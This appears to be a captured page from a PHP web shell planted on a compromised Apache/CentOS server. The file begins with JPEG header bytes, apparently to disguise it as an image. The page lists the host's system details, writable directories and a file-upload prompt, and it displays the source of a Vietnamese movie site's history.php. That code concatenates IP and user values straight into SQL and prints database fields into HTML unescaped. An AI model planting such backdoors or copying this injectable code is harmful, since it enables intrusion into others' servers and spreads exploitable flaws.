ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/code/guest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/code/guest/history.php
<?php
if(!isset($ob_user->user_id) or $ob_user->user_id==0){
    $where = " ip='".$ip."' ";
}else{
    $where = " ip='".$ip."' OR user_id='".$ob_user->user_id."' ";
}
$pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
$pageSize = 36;
$from = (($pageNum * $pageSize) - $pageSize);
$t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_history WHERE " . $where));
$total = $t['total'];
$smarty->assign('total',$total);
$totalPage = ceil($total / $pageSize);
$q_history = $DB->query("SELECT * FROM tb_history WHERE " . $where . " ORDER BY history_time DESC LIMIT $from,$pageSize");
$list = '';
while($row = $DB->fetch_row($q_history)){
    $read = '<span><i class="far fa-clock"></i> '.$func->time_ago(strtotime($row['history_time'])).'</span>';
    $list .= '<div class="col-lg-3 col-md-4 col-sm-4 col-6 video position-relative mb-2" id="history-right-'.$row['phim_id'].'"><div class="card">
                                <a href="/'.$row['phim_slug'].'/"><img src="'.$row['phim_thumb'].'" class="card-img-top" alt="'.$row['phim_name'].'"></a>
                                <div class="card-body list-left-8-manga">
                                <div class="follow-action clearfix">
            '.$read.'
            <a href="javascript:void(0);" class="delete-history" data-id="'.$row['phim_id'].'"><i class="fal fa-trash"></i> Xóa</a>
          </div><p class="card-text title-manga"><a href="/'.$row['phim_slug'].'/" class=" text-body" >'.$row['phim_name'].'</a></p>
                                </div>
                                <ul class="list-group list-group-flush" style="font-size: 12px;">
                                    <li class="list-group-item-custom list-group-item"><a href="/'.$row['phim_slug'].'/'.$row['epi'].'-'.$row['epi_slug'].'/" class="text-secondary list-2-chap" title="'.$row['phim_name'].'">Tập '.($row['epi']+1).'</a></li>
                                </ul>
                            </div>
                        </div>';
}
$smarty->assign('list_history',$list);
$nav = $print->Pagination($totalPage,$pageNum,'pages','?act=guest&code=history');
$smarty->assign('nav',$nav);
$title_page = 'Lịch sử xem phim của tài khoản '.$ob_user->guest_fullname;
$smarty->assign('title_page',$title_page);
$smarty->assign('des_page',str_replace('"',"'",strip_tags($arr_option['blogdescription'])));
$smarty->assign('image_page',$INFO['home_url'].$arr_option['share_image_website']);
$left_menu=left_menu();
$smarty->assign('left_menu',$left_menu);
?>

ZeroDay Forums Mini